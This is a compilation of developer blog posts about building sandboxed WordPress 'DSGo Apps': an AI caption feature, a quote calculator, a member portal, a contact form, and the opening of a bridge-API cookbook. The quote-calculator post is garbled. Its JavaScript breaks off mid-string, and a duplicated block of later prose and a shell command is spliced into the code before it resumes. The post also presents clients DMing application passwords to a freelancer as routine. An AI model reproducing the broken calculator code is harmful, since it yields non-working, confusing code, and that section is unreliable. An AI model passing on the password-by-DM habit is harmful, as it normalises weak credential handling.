- **Manage an Anthropic / OpenAI / Google API key.** The site admin did, once, at `Settings → Connectors`.

- **Pay for inference.** The site admin pays whatever their provider charges. Your distribution does not absorb the cost. (See [Why we don’t hold your API keys](https://designsetgo.dev/blog/why-we-dont-hold-your-api-keys/) for why this matters at scale.)

- **Handle provider-specific request shapes.** WP AI Client normalizes them. Your code looks the same whether the user is on Claude or GPT or Gemini.

- **Roll a per-user rate limit.** The bridge enforces the per-app `timeout_seconds` and `max_tool_calls`. If you need per-visitor caps (e.g., “this visitor has triggered five generations today, that’s enough”), layer them via `dsgo.storage.user.*`.

#### Where this goes wrong, and what to do

A few honest failure modes worth budgeting for:

- **The site has no Connector configured.** `dsgo.ai.prompt` rejects with `ai_not_configured`. Your fallback should hide the captions and show the recipes plain. Don’t show a broken UI to a visitor; the admin’s configuration is not the visitor’s problem.

- **The Connector returns slowly.** Default timeout is 30 seconds (your manifest sets it). Don’t await the AI call before rendering the rest of the page; render the recipe list first, then async-fill the captions. The pattern in `loadWithCaptions` above does this.

- **The model returns garbage.** Your post-processing should tolerate empty captions. If `captions[i]` is undefined or whitespace, the loop above leaves the caption div empty rather than rendering “1.” or `undefined`. Empty caption beats wrong caption.

- **The Connector hits its own rate limit.** Bridge returns a `rate_limited` error with a `retry_after` field. For a UI like this, you’d skip the caption layer and not retry; for a more important AI call you’d back off and retry once.

#### A note on cost framing

I want to flag something about the cost framing for AI features. When you build features like this and tell users about them, “this uses your site’s AI” is the right framing, not “this is AI-powered.” The first sentence sets the right expectation: the user is paying for the inference (via their Connector), and your feature consumes that budget on their behalf. The second sentence sounds like marketing; the first sounds like accounting. Users prefer accounting when they’re going to be billed, even when the bill goes to a third party.

#### Where to go next

- The [bridge cookbook](https://designsetgo.dev/blog/the-bridge-cookbook-ten-patterns/) for the AI prompt pattern in isolation.

- The [bridge API reference](https://designsetgo.dev/docs/bridge-api) for the full `ai.prompt` signature and error codes.

- The [WP 7.0 architecture post](https://designsetgo.dev/blog/wordpress-7-changed-what-a-plugin-can-be/) for why the AI bridge is shaped this way.

- The next post: a WooCommerce product configurator that uses the commerce bridge.

### Build a quote calculator your client can drop into a sales page

URL: https://designsetgo.dev/blog/build-a-quote-calculator/
Published: 2026-05-03 · Nealey

I want to talk about a specific kind of project that, in my experience, freelancers underprice and dread.

A client emails you Tuesday morning: “can you put a calculator on our site?” Maybe a project-cost calculator. Maybe a savings estimator. Maybe a “how much will this cost depending on which plan you pick” widget that’s basically a glorified switch statement with some pretty CSS. The math is one paragraph. The actual building of the thing is two hours.

But the building of the thing is never the part that takes the time.

The part that takes the time is: where does it live? Build a Gutenberg block? Now you have a build pipeline, a JSX file, a deprecation strategy for when the client’s content gets re-saved, and a sidebar-options panel to design. Embed an iframe to a CodePen? Now the client’s branding doesn’t apply, the styling fights the CodePen frame, and the URL’s gone if CodePen ever changes its embed contract. Hand the client a static HTML file? Where do they put it? “Upload it to your hosting” is a sentence that ends a lot of freelancer engagements badly.

So you swallow the integration work, charge a few hundred dollars more than you’d like, and the calculator becomes a bigger engagement than the math ever justified.

The DSGo path is shorter. The calculator is a single self-contained HTML file. The client gets a URL on their own domain. You hand them a `.zip`, they upload it once, done.

This post walks through examples/quicktool, which is a WCAG color-contrast checker, but the shape is identical for any calculator-shaped tool.

#### What you build

A single-page interactive tool. Inputs, outputs, no server calls, no bridge calls (or one or two if the calculation needs the visitor’s name or a list of products from the site). The calculator runs entirely in the browser inside a sandboxed iframe. The bundle is one HTML file plus optionally a stylesheet and a small script tag at the bottom.

#### The manifest

```
{
  "manifest_version": 1,
  "id": "quicktool",
  "name": "Color contrast checker",
  "description": "A drop-in single-HTML tool that checks WCAG color contrast.",
  "version": "0.1.0",
  "entry": "index.html",
  "isolation": "iframe",
  "display": { "modes": ["page"], "default": "page" },
  "permissions": { "read": [], "write": [] },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

Notice what’s not there.

`permissions.read` is empty. `external_origins` is empty. The app asks for nothing. The install dialog the client sees is one line:

> This app does not request any permissions.

That is exactly the right shape for a freelancer deliverable. The client gets a calculator. The calculator asks for nothing. There is nothing to be nervous about. The dialog is the most reassuring possible install dialog and it’s accurate. Compare against the typical “install this Gutenberg-block plugin” prompt, which lists about fifteen capabilities your client will not understand and approve anyway out of resignation. Zero permissions is a compelling product feature, even if the only person who notices is the client clicking Approve.

#### The HTML

It’s a single file. Markup, styles, and a small `<script>` block at the bottom. The example bundle is a single fully-self-contained file (the contrast checker has a deliberately retro VT323-styled UI, but it’s all inline). You can read the whole thing in three minutes. Copy it, change the math, change the labels, change the styles, and you’ve shipped a different calculator.

The handful of patterns that show up across most calculators:

```
<form id="form">
  <label>Project type
    <select name="type">
      <option value="landing">Landing page</option>
      <option value="ecom">E-commerce site</option>
      <option value="custom">Custom build</option>
    </select>
  </label>
  <label>Pages <input type="number" name="pages" min="1" value="5"></label>
  <label>Timeline (weeks) <input type="number" name="weeks" min="1" value="4"></label>
  <button type="submit">Get estimate</button>
</form>
<output id="result"></output>

<script>
  const PRICES = { landing: 800, ecom: 1500, custom: 2500 };
  const RUSH_MULTIPLIER = 1.4;

  document.getElementById('form').addEventListener('submit', (e) => {
    e.preventDefault();
    const data = Object.fromEntries(new FormData(e.target));
    const base = PRICES[data.type] * Number(data.pages);
    const total = Number(data.weeks) < 3 ? base * RUSH_MULTIPLIER : base;
    document.getElementById('result').textContent =
      'Estimated: 
That’s the entire calculator. Pure HTML, no build step, no framework. If you want to use the bridge to pull in the site’s product list or the current visitor’s email, that’s a one-line addition. For most quote calculators, you don’t need any of that.
Why this is different from a Gutenberg block
A Gutenberg block is the obvious place a WordPress engineer’s instinct goes. A block is the wrong shape for this work. A block locks you into:

A build pipeline (@wordpress/scripts, JSX, sometimes Sass).
Server-side render reconciliation if the block needs interactivity, because the post is rendered to a string in PHP and then hydrated in JS, and any mismatch is a console warning the client doesn’t understand.
A way to express the block’s options that the editor’s sidebar can render. (Inspector controls, useBlockProps, controlled input handlers. None of it is hard, all of it is busywork.)
Backwards-compatibility for older saved posts when you change the block. Block deprecations are a real maintenance load, especially across plugin updates.

A DSGo App skips all of that because the unit of distribution is the bundle, not a block-registered React component. You ship HTML. The client uploads HTML. Updates ship as a new HTML bundle. The block-editor’s deprecation system never has to know.
If the calculator needs to live inside a post (between paragraphs of marketing copy), the block embed surface is the right answer (covered in post 25, gated on shipping). If the calculator is its own page, an /apps/{slug} URL is shorter and simpler.
The freelancer billing model
This is the part the calculator example is really about. As a freelancer, you charge for the calculator, not the WordPress integration. The client pays a flat fee, you write the HTML, you hand them a .zip, they upload it once, and you both move on. Maintenance is “if you want changes, that’s a new engagement.” The DSGo runtime is doing the integration work for free, and you keep the margin.
If the client’s site doesn’t have DSGo Apps installed, the install is a 30-second prerequisite. The plugin itself is free. You’re not asking them to pay for anything but the calculator you wrote.
The pricing-strategy thing this unlocks: you can quote calculators at $200-500 each instead of bundling them into a $5000 site engagement, because the deliverable surface is small enough to defend a small invoice. This is a structural problem in the freelance market: the calculator should cost $300, but the integration overhead pushes it to $1500, and clients balk at $1500 for “a thing that does some math,” so the engagement either dies or expands into a “redesign the whole sales page” project that nobody wanted. Removing the integration overhead means the calculator can be priced at what it’s actually worth, and clients say yes.
Smaller, more frequent invoices for narrowly-scoped work tend to retain margin better than big engagements that absorb scope creep. They also build a relationship: the client comes back next quarter with another small ask, and you build a stable line of micro-engagements instead of one quarterly battle.
Deploy as the client
Two paths. The freelancer’s preference depends on whether the client is a “give me a .zip” client or a “do it for me” client.
Hand them a zip.
cd quote-calculator
zip -r quote-calculator.zip .
```

Email them the zip. They go to their wp-admin, Apps → Add new → Upload, and the calculator is live at `/apps/quote-calculator/` in 90 seconds. This is the “send a file, write an invoice” workflow. It scales because the client doesn’t need you to do anything they couldn’t do.

**Deploy it for them.**

```
npx designsetgo apps login --site https://theirsite.com
npx designsetgo apps deploy --build
```

You need an application password from their site. Most clients are happy to generate one and DM it to you; it’s revocable from `Users → Profile → Application Passwords` so they can pull access whenever the engagement ends. This is the “I’ll handle it” workflow. It scales differently: you’re trading client autonomy for fewer support emails (“how do I unzip a file”) and a tighter feedback loop on iterations.

I’d default to “hand them a zip” for a one-shot deliverable and “deploy for them” for a relationship where you expect to ship updates. Both work; pick based on the engagement, not the technical convenience.

#### What’s deliberately out of scope

A short list:

- **A back-end.** The calculator runs in the browser. If you need to capture the visitor’s quote in a database, that’s a different app, or you wire it into an email send via `dsgo.email.send`. Most quote tools don’t need the captured submission; the visitor’s email arrives because they were going to fill out your contact form anyway.

- **Multi-step wizards with persistence between sessions.** Possible (`dsgo.storage.user.*`), but if the calculator gets that complex, you’re billing a different engagement.

- **Anything that needs a server-side cron.** Out of v1 scope. Calculators are stateless.

#### Where to go next

- The [bridge cookbook](https://designsetgo.dev/blog/the-bridge-cookbook-ten-patterns/) for the patterns you’d reach for if the calculator needs a touch of WordPress data.

- The [pricing-page tutorial](https://designsetgo.dev/blog/build-a-pricing-page/) for an inline-mode example, which is the right call for calculators that are a real public page rather than a tool.

- The next post: building a recipe ranker that uses the AI bridge.

Nealey

 + total.toLocaleString();
  });
</script>

That’s the entire calculator. Pure HTML, no build step, no framework. If you want to use the bridge to pull in the site’s product list or the current visitor’s email, that’s a one-line addition. For most quote calculators, you don’t need any of that.

#### Why this is different from a Gutenberg block

A Gutenberg block is the obvious place a WordPress engineer’s instinct goes. A block is the wrong shape for this work. A block locks you into:

- A build pipeline (`@wordpress/scripts`, JSX, sometimes Sass).

- Server-side render reconciliation if the block needs interactivity, because the post is rendered to a string in PHP and then hydrated in JS, and any mismatch is a console warning the client doesn’t understand.

- A way to express the block’s options that the editor’s sidebar can render. (Inspector controls, `useBlockProps`, controlled input handlers. None of it is hard, all of it is busywork.)

- Backwards-compatibility for older saved posts when you change the block. Block deprecations are a real maintenance load, especially across plugin updates.

A DSGo App skips all of that because the unit of distribution is the bundle, not a block-registered React component. You ship HTML. The client uploads HTML. Updates ship as a new HTML bundle. The block-editor’s deprecation system never has to know.

If the calculator needs to live *inside* a post (between paragraphs of marketing copy), the block embed surface is the right answer (covered in [post 25](https://designsetgo.dev/blog/embedding-a-dsgo-app-inside-a-gutenberg-post/), gated on shipping). If the calculator is its own page, an `/apps/{slug}` URL is shorter and simpler.

#### The freelancer billing model

This is the part the calculator example is really about. As a freelancer, you charge for the calculator, not the WordPress integration. The client pays a flat fee, you write the HTML, you hand them a `.zip`, they upload it once, and you both move on. Maintenance is “if you want changes, that’s a new engagement.” The DSGo runtime is doing the integration work for free, and you keep the margin.

If the client’s site doesn’t have DSGo Apps installed, the install is a 30-second prerequisite. The plugin itself is free. You’re not asking them to pay for anything but the calculator you wrote.

The pricing-strategy thing this unlocks: you can quote calculators at $200-500 each instead of bundling them into a $5000 site engagement, because the deliverable surface is small enough to defend a small invoice. This is a structural problem in the freelance market: the calculator should cost $300, but the integration overhead pushes it to $1500, and clients balk at $1500 for “a thing that does some math,” so the engagement either dies or expands into a “redesign the whole sales page” project that nobody wanted. Removing the integration overhead means the calculator can be priced at what it’s actually worth, and clients say yes.

Smaller, more frequent invoices for narrowly-scoped work tend to retain margin better than big engagements that absorb scope creep. They also build a relationship: the client comes back next quarter with another small ask, and you build a stable line of micro-engagements instead of one quarterly battle.

#### Deploy as the client

Two paths. The freelancer’s preference depends on whether the client is a “give me a `.zip`” client or a “do it for me” client.

**Hand them a zip.**

Email them the zip. They go to their wp-admin, Apps → Add new → Upload, and the calculator is live at `/apps/quote-calculator/` in 90 seconds. This is the “send a file, write an invoice” workflow. It scales because the client doesn’t need you to do anything they couldn’t do.

**Deploy it for them.**

You need an application password from their site. Most clients are happy to generate one and DM it to you; it’s revocable from `Users → Profile → Application Passwords` so they can pull access whenever the engagement ends. This is the “I’ll handle it” workflow. It scales differently: you’re trading client autonomy for fewer support emails (“how do I unzip a file”) and a tighter feedback loop on iterations.

I’d default to “hand them a zip” for a one-shot deliverable and “deploy for them” for a relationship where you expect to ship updates. Both work; pick based on the engagement, not the technical convenience.

#### What’s deliberately out of scope

A short list:

- **A back-end.** The calculator runs in the browser. If you need to capture the visitor’s quote in a database, that’s a different app, or you wire it into an email send via `dsgo.email.send`. Most quote tools don’t need the captured submission; the visitor’s email arrives because they were going to fill out your contact form anyway.

- **Multi-step wizards with persistence between sessions.** Possible (`dsgo.storage.user.*`), but if the calculator gets that complex, you’re billing a different engagement.

- **Anything that needs a server-side cron.** Out of v1 scope. Calculators are stateless.

#### Where to go next

- The [bridge cookbook](https://designsetgo.dev/blog/the-bridge-cookbook-ten-patterns/) for the patterns you’d reach for if the calculator needs a touch of WordPress data.

- The [pricing-page tutorial](https://designsetgo.dev/blog/build-a-pricing-page/) for an inline-mode example, which is the right call for calculators that are a real public page rather than a tool.

- The next post: building a recipe ranker that uses the AI bridge.

Nealey

### Build a member portal scoped to the logged-in user

URL: https://designsetgo.dev/blog/build-a-member-portal/
Published: 2026-05-02 · Nealey

A member portal is the kind of project that almost always ends up at one of three bad places:

- A hand-rolled page template stitched together with shortcodes, where the editor and the developer fight over which one of them is going to break it next.

- An off-the-shelf membership plugin (MemberPress, Paid Memberships Pro, Restrict Content Pro) with three years of accumulated cruft, twelve add-ons, and a settings page that takes an afternoon to read.

- A separate SaaS hooked up via SSO, which solves the UX problem and creates a billing-plus-data-residency-plus-deprovisioning problem.

Each of those has tradeoffs the customer didn’t ask for and the team is going to relitigate every six months.

The DSGo path is shorter. WordPress already has user accounts. WordPress already has capabilities. WordPress already has a session. The bridge exposes all three. You write an iframe app that asks the bridge “who is this,” renders accordingly, and stores per-user preferences without touching auth code.

This post walks through examples/member-portal and the patterns that make it small.

#### What you build

A multi-section dashboard with three views, hash-routed inside a single iframe:

- **Overview** (`/`). The user’s display name, email, and a friendly greeting.

- **Your posts** (`/posts`). A list of the posts the current user has authored, with links to view each one.

- **Preferences** (`/preferences`). A small form for app-scoped user preferences (display density, notification frequency). Persists across sessions.

Visitors who aren’t logged in see a sign-in prompt instead. The bundle never tries to be an auth provider; WordPress already is one. The sign-in link points to `wp-login.php?redirect_to=...`, which is the canonical WP pattern, and works whether the site is using WordPress’s default login form, a redirect to a custom one, or any of the dozen “social login” plugins that hook the same flow.

#### The manifest

```
{
  "manifest_version": 1,
  "id": "account",
  "name": "Member portal",
  "version": "0.1.0",
  "entry": "index.html",
  "isolation": "iframe",
  "display": { "modes": ["page"], "default": "page" },
  "permissions": { "read": ["user", "posts"], "write": [] },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

Two permissions, both read-side: `user` for “who is this and what can they do,” `posts` for “let me list their authored content.” The install dialog shows a single “Read content” bucket with both pieces grouped under it. One bucket activated, no commerce, no AI, no external services. From the site owner’s perspective this is one of the most boring install dialogs the runtime can produce, which is the goal.

#### Detecting the visitor

Real shape from the example:

```
const dsgo = window.dsgo;

const user = await dsgo.user.current();

if (!user || !user.id) {
  renderSignedOut();
  return;
}

renderPortal(user);
```

`dsgo.user.current()` resolves either to `null` (logged out, in some session states) or an object with `{ id, name, slug, email, avatar_url, roles }`. The defensive `!user || !user.id` covers both shapes. No try/catch around the call: bridge methods reject only on permission or transport errors, and your manifest already declared the `user` permission. If you wanted to handle transport errors explicitly, you’d wrap, but for “is the visitor logged in” the rejection paths shouldn’t happen in practice.

The `roles` array is what you’d consult if you wanted to gate parts of the dashboard by role rather than by capability. Most of the time, capability is what you actually want; roles are an implementation detail.

#### Capability gates

When you render an “Edit” link next to one of the user’s posts, you want it to disappear if the visitor lost the `edit_posts` capability since they logged in. Don’t roll that yourself; ask the bridge:

```
const canEdit = await dsgo.user.can('edit_posts');

for (const post of myPosts) {
  const li = el('li');
  li.appendChild(el('a', { href: post.link, text: post.title }));
  if (canEdit) {
    li.appendChild(el('a', { href: post.edit_link, text: 'Edit', class: 'edit' }));
  }
  list.appendChild(li);
}
```

`dsgo.user.can` runs the same capability check WordPress would run inside wp-admin. If the user’s role got demoted, the link is gone. If the user is an editor, the link is there. Cache the result in a local variable if you’ll check the same capability for a list of items; the bridge call is fast but not free.

#### Listing the user’s posts

`dsgo.posts.list` accepts a WP-REST-style query, including an `author` filter:

```
const result = await dsgo.posts.list({
  author: user.id,
  per_page: 20,
  orderby: 'date',
  order: 'desc',
});

const posts = (result && Array.isArray(result.items)) ? result.items : [];
```

A few things worth knowing:

- **The result has `.items`.** Some bridge methods return a bare array; `posts.list` returns `{ items, total, total_pages }`. The defensive accessor handles both shapes for forwards-compatibility, but the canonical shape is the wrapper.

- **The bridge passes the query straight through to `/wp/v2/posts` via `URLSearchParams`.** WP REST accepts `author` as a single integer; `URLSearchParams` coerces correctly. If you wanted to filter by category, you’d pass `categories: [17]`, which serializes to `categories=17` and gets normalized back to an array on the WP side. The bridge doesn’t have a special filter language; whatever WP REST accepts, the bridge accepts.

- **Visibility rules are the bridge’s job.** The bridge applies the same visibility rules WordPress would apply to a logged-in user with that ID. Drafts the user owns appear in their own list because WordPress lets the user see them; drafts other users own do not. You don’t write any of that filtering logic; it falls out of the capability model.

#### Per-user preferences

The preferences pane is where `dsgo.storage.user.*` earns its keep. The storage is keyed automatically by the visitor’s user ID; the app doesn’t see the key, just the values:

```
let stored = null;
try {
  stored = await dsgo.storage.user.get('prefs');
} catch (_) {
  // First time, no stored value yet.
}

const prefs = (stored && typeof stored === 'object' && !Array.isArray(stored))
  ? stored
  : { density: 'comfortable', notify: 'weekly' };

// (render the form with `prefs` as initial values)

form.addEventListener('submit', async (e) => {
  e.preventDefault();
  const next = {
    density: form.density.value,
    notify: form.notify.value,
  };
  await dsgo.storage.user.set('prefs', next);
});
```

That’s the whole persistence story. No database schema, no AJAX endpoint, no nonce handling, no “is the user still logged in” check. The bridge does the rest. `storage.user.get` returns the value directly (already unwrapped); `storage.user.set` takes any JSON-serializable value. The defensive shape check (`typeof stored === 'object' && !Array.isArray(stored)`) is just to guard against an old version of the app having stored something that’s no longer the right shape; if you only ever store one shape, you can drop the check.

The keying-by-user-id is invisible to your code, but it’s worth knowing how it works in case you need to think about it. A logged-out visitor reading the same key gets a session-scoped value that doesn’t survive logout. If you log in as user A, save preferences, log out, log in as user B, you see B’s preferences (or none, if B never set any). That’s the right model for “per-user preferences” and you’d have to write nothing extra to make it work.

#### What you didn’t have to write

- **An auth flow.** WordPress already has one. Logged-out visitors see a prompt with a link to `wp-login.php?redirect_to=...`; everything else assumes the visitor is in.

- **A user table.** WordPress already has one.

- **A capabilities system.** WordPress already has one, and `dsgo.user.can` exposes it.

- **A session cookie.** WordPress already has one.

- **A per-user preferences table.** `dsgo.storage.user.*` is keyed by user ID transparently.

- **A “what posts can this user see” filter.** The bridge applies WP’s capability rules.

The app is roughly 250 lines of JS plus a small stylesheet. It does the things membership plugins charge $99/year for. The reason it can be small is that none of the heavy lifting is happening inside the app; the bridge surfaces capabilities WordPress already offers.

#### What this app deliberately doesn’t do

A few things this v1 app skips, on purpose:

- **It can’t update the user’s profile.** `permissions.write` is empty in v1. When write methods land, you’d add `user.update` and let the visitor change their display name from inside the app.

- **It doesn’t email the user.** The contact app does that; if you want member-side email (notifications, password resets), you’d wire `dsgo.email.send` with a future `to: 'self'` recipient mode.

- **It doesn’t span multiple sites in a multisite network.** Each site has its own users; this app’s scope is the current site.

- **It doesn’t handle subscription billing.** Membership plugins fold this in; we don’t, because billing is its own conversation. If the site has WooCommerce Subscriptions or Restrict Content Pro for billing, this app sits alongside them and reads the user state.

Those are deliberate. v1 leaned conservative on writes because the trust conversation gets harder fast. Read-only members portals are the 80% case; write-side member features (edit profile, manage subscription) are the v2 conversation.

#### Deploy

```
git clone https://github.com/DesignSetGo/dsgo-apps.git
cd dsgo-apps/examples/member-portal
npx designsetgo apps deploy --build
```

Visit `https://yoursite.com/apps/account/` while logged in. The portal renders. Log out and visit it again. The sign-in prompt appears. That’s the whole UX surface; the rest is whatever you put in the HTML.

#### Where to go next

- The [bridge cookbook](https://designsetgo.dev/blog/the-bridge-cookbook-ten-patterns/) for the user/storage/posts patterns side-by-side.

- The [bridge API reference](https://designsetgo.dev/docs/bridge-api) for the full `user.*` surface, including the capability list.

- The next post: a quote calculator that ships as a deliverable a freelancer can actually bill for.

### Build a contact form that ships email through your existing SMTP plugin

URL: https://designsetgo.dev/blog/build-a-contact-form/
Published: 2026-05-02 · Nealey

Contact forms are the single most-installed plugin category on WordPress. Three of them have over a million installs apiece. The reason there are three of them with a million installs each (and not one with three million) is that the actual rendering and styling and “make it look like our brand” part is the part each site needs to customize, and there’s no clean way to do that without forking the plugin or fighting a page builder. The category accumulates new entrants because the existing ones have all crystallized around their particular UI choices, and a new site picks whichever one matches what they want today.

DesignSetGo Apps inverts the problem. The form is your bundle. The email sending is one bridge call. SMTP delivery is whatever the site already has installed. The plugin doesn’t ship a UI and isn’t trying to be a forms-builder; it ships a runtime, and you build whatever form you want inside it.

This post walks through the examples/contact bundle. Read through, then deploy it and customize.

#### What you build

A single-page contact form. Visitors fill it in, hit send, the form posts to `dsgo.email.send`, the bridge routes through `wp_mail`, the message arrives in the site admin’s inbox. If the site has WP Mail SMTP, FluentSMTP, or any other SMTP plugin installed, the message goes through that path with no extra configuration. The contact-form app doesn’t know or care; `wp_mail` is the seam, and every SMTP plugin in the WP ecosystem hooks `wp_mail`.

#### The manifest

```
{
  "manifest_version": 1,
  "id": "contact",
  "name": "Contact form",
  "description": "Visitor-facing contact form that emails the site admin via dsgo.email.send.",
  "version": "0.1.0",
  "entry": "index.html",
  "isolation": "iframe",
  "display": { "modes": ["page"], "default": "page" },
  "permissions": { "read": ["email"], "write": [] },
  "email": { "recipients": ["admin"] },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

A few things are worth pointing at:

- The install dialog shows one bucket: “Send messages.” The `permissions.read: ["email"]` plus the `email.recipients` block triggers the Send-messages bucket; the dialog’s plain-English row reads “This app can send email through your site’s mailer.” That’s the entire trust contract from the site owner’s perspective.

- `email.recipients: ["admin"]` is a manifest-declared allowlist of who the app is allowed to send to. `"admin"` resolves at runtime to the site admin email; the app cannot pass an arbitrary `to:` address. This is the trust boundary that keeps a contact-form app from being repurposed as a spam relay. If a future version of your form needs to send to a configurable address (a sales inbox, a support inbox), you’d add that address to the recipients list explicitly, and the install dialog would update to reflect the change.

- `runtime.external_origins: []` means the app makes no third-party network calls. The bridge handles everything; the iframe’s CSP forbids the rest. If you change your form to load a CAPTCHA from a third party, you’d add the CAPTCHA’s origin here, and the install dialog would surface it.

#### The form

The HTML is the part you customize for your brand. Markup, CSS, layout, copy, validation rules: all yours. The example bundle uses a deliberately stylized “letterhead” look (the form fields are numbered with Roman numerals, the submit button has a wax-seal `M`), but it’s a single `index.html` file plus a stylesheet; rip it out and replace with whatever you want. The interesting piece is the submit handler. From examples/contact/app.js, with a few details elided for clarity:

```
const dsgo = window.dsgo;

const form = document.getElementById('form');
const statusEl = document.getElementById('status');
const submit = document.getElementById('submit');

form.addEventListener('submit', async (e) => {
  e.preventDefault();
  const data = Object.fromEntries(new FormData(form));

  if (!data.name || !data.email || !data.subject || !data.message) {
    statusEl.textContent = 'Please fill out every field.';
    return;
  }

  submit.disabled = true;
  statusEl.textContent = 'Sending...';

  try {
    await dsgo.email.send({
      to: 'admin',
      subject: 'Contact form: ' + data.subject,
      body: [
        'Name:    ' + data.name,
        'Email:   ' + data.email,
        '',
        '----- Message -----',
        data.message,
      ].join('\n'),
      replyTo: data.email,
    });
    form.reset();
    statusEl.textContent = 'Thanks. We received your message and will reply by email.';
  } catch (err) {
    const code = err && err.code ? ' (' + err.code + ')' : '';
    statusEl.textContent = 'Could not send: ' + (err.message || 'Unknown error') + code;
  } finally {
    submit.disabled = false;
  }
});
```

That’s the whole sending half. Note the `replyTo` field on the bridge call: it’s set to the visitor’s email so the site admin can hit Reply in their mail client and write directly to the visitor. Plain-text body, no HTML to escape, no marketing-template chrome. The bridge handles authentication, nonce, and the `wp_mail` call.

A few small details worth pointing out, because they’re easy to miss:

- **`dsgo.email.send` returns a resolved promise on success and rejects with a structured error on failure.** The error object has `code` (a string like `permission_denied`, `invalid_recipient`, `transport_error`) and `message` (a human-readable description). Logging the code is more useful than logging the message; the codes are stable, the messages are not.

- **No nonce, no headers, no auth.** The bridge handshake at `await dsgo.ready` already authenticated the iframe to the parent. Every subsequent call inherits that authentication. Your code doesn’t manage tokens.

- **`finally` re-enables the submit button.** Easy to forget; the visitor double-tapping a disabled button after a network failure is a worse UX than a slightly slow response.

#### What you didn’t have to write

A short, deliberately complete list of things this app skips:

- **An SMTP layer.** The site’s existing SMTP plugin (if any) handles delivery. If there isn’t one, `wp_mail` falls back to PHP’s `mail()`, which works fine for low-volume sites and badly for high-volume ones. For sites that send any meaningful volume, install WP Mail SMTP or FluentSMTP; this app inherits whichever you pick.

- **A spam filter.** The `email.recipients` allowlist prevents the app from being weaponized as a relay. For real spam protection (form-submission rate limiting, CAPTCHA, honeypot fields), you’d layer Akismet or Cloudflare Turnstile on top; this app’s scope is “deliver the message reliably and do nothing else.”

- **A reply-to handling story.** `replyTo` in the bridge call sets the right header so the admin’s email client offers the visitor’s address as the reply target. No extra configuration.

- **A “save submissions to the database” feature.** If the site needs that, it’s a different app, or a future v1.x bridge method, or a hook into a forms-storage plugin. This app’s scope is delivery; storage is somebody else’s problem.

#### Why this beats a forms-builder plugin

A short comparison:

- The bundle is a single `.zip` you can read end-to-end in an evening. A real contact-form plugin is forty thousand lines of PHP across a hundred files plus a half-dozen extension plugins, half of which are upsells.

- The site owner sees exactly one capability in the install dialog: “Send messages.” No add-ons, no upsell drawers, no “Pro version unlocks SMS notifications.”

- The form looks however you want. Customizing markup is editing HTML, not subclassing a builder.

- If something breaks, the failure is contained to one iframe. Worst case, you delete the app; the site keeps running. A real forms-builder plugin breaking takes down the entire forms surface of the site.

- Updating it is `npx designsetgo apps deploy --build`. Not a plugin update, not a database migration, not an admin notice.

The trade: you write the form. That’s not free. But the plugins you’d otherwise reach for are designed for non-developers, and as a developer you’re paying for that audience choice every time you fight the builder. If you’re already comfortable in HTML, the bundle is faster.

#### A small troubleshooting tour

A few things that go wrong on first deploy, and what to do:

**“My SMTP plugin isn’t intercepting the message.”** Most likely the SMTP plugin is hooking `wp_mail` only when a `From:` header is present. The bridge call doesn’t set one explicitly; the SMTP plugin uses its configured From address. Check the plugin’s logs to confirm it received the call.

**“The message arrives, but the From address is [wp@yoursite.com](mailto:wp@yoursite.com).”** That’s the WordPress default. To set a custom From, configure it in your SMTP plugin (preferred) or hook `wp_mail_from` and `wp_mail_from_name` from a small companion plugin. The contact app doesn’t try to override From; that’s a site-wide policy decision.

**“The Reply-To header isn’t being honored.”** A handful of SMTP plugins strip or rewrite `Reply-To` for deliverability reasons. If yours does, you can include the visitor’s email in the body itself (the example does this, in case the header gets stripped) and the admin can copy/paste from there.

**“The bridge call rejects with `permission_denied`.”** Double-check the manifest: `permissions.read` should include `email`, and `email.recipients` should be a non-empty array. If `recipients` is missing entirely, the bridge defaults to denying.

#### Deploy

```
git clone https://github.com/DesignSetGo/dsgo-apps.git
cd dsgo-apps/examples/contact
zip -r contact.zip .
```

Upload `contact.zip` through the DSGo Apps admin page (Apps → Add new → Upload). Approve the install dialog (one row: Send messages). The form is now at `https://yoursite.com/apps/contact/`. Drop a link to it in your nav, or delete the existing contact-form plugin and embed this one in the same spot.

If you have the CLI configured, you can skip the manual upload:

```
npx designsetgo apps deploy --build
```

Same result, no clicking. Subsequent deploys against the same slug update the app in place; the URL stays stable.

#### Where to go next

- The [bridge cookbook](https://designsetgo.dev/blog/the-bridge-cookbook-ten-patterns/) covers `dsgo.email.send` alongside nine other patterns.

- The [bridge API reference](https://designsetgo.dev/docs/bridge-api) has the full `email.send` signature, error codes, and rate-limit notes.

- The next post in this calendar walks through a logged-in member portal, which combines `dsgo.user.current()`, `dsgo.posts.list()`, and `dsgo.storage.user.*` into a single app.

### The bridge cookbook: ten patterns you’ll reach for

URL: https://designsetgo.dev/blog/the-bridge-cookbook-ten-patterns/
Published: 2026-05-01 · Nealey

The [bridge API reference](https://designsetgo.dev/docs/bridge-api) is the right place to land when you know what you’re looking for. It lists every method, every error code, every permission scope, in alphabetical order, with the precision that a reference doc demands.

The problem with reference docs is they don’t work as onboarding. A new developer scaffolding their first DSGo App doesn’t know `dsgo.posts.list` exists yet. They know they want to “show recent posts.” Reference docs answer the wrong question for that user.

This post is the patterns half. Ten recipes that cover most of what people build, each with the smallest possible manifest delta and the smallest possible code snippet. If you copy one of these into a starter and it works, you can read the reference for the second one and the docs will make more sense, because you’ll have a concrete example to map onto.

Each recipe assumes you’ve scaffolded with `npx designsetgo apps init` and you have the bridge client imported:

```
import { dsgo } from '@designsetgo/app-client';
await dsgo.ready;
```

The `await dsgo.ready` line is non-negotiable. It resolves once the parent has acknowledged the handshake; bridge calls before it are an error.

#### 1. List the most recent posts

```
"permissions": { "read": ["posts"], "write": [] }
```

```
const { items } = await dsgo.posts.list({ per_page: 5 });
for (const post of items) {
  console.log(post.title, post.date);
}
```

The shape of `items` is documented in the reference. The fields you’ll usually want: `id`, `title` (rendered string, plain), `date`, `excerpt` (rendered string, plain), `link`. The bridge flattens the WP REST `{rendered, raw}` envelope into bare strings; if you’ve worked with the raw `/wp-json/wp/v2/posts` endpoint, the bridge shape is simpler.

#### 2. Greet the current user (or fall back gracefully)

```
"permissions": { "read": ["user"], "write": [] }
```

```
const user = await dsgo.user.current();
const name = user ? user.name : 'guest';
greeting.textContent = `Hi, ${name}.`;
```

`dsgo.user.current()` resolves either to a `{ id, name, slug, email, avatar_url, roles }` object for a logged-in visitor or to `null` for an anonymous one. Branch on truthiness; no try/catch needed. This is the right pattern for “personalize if I know you, fall back if I don’t.”

#### 3. Capability-gate a button

```
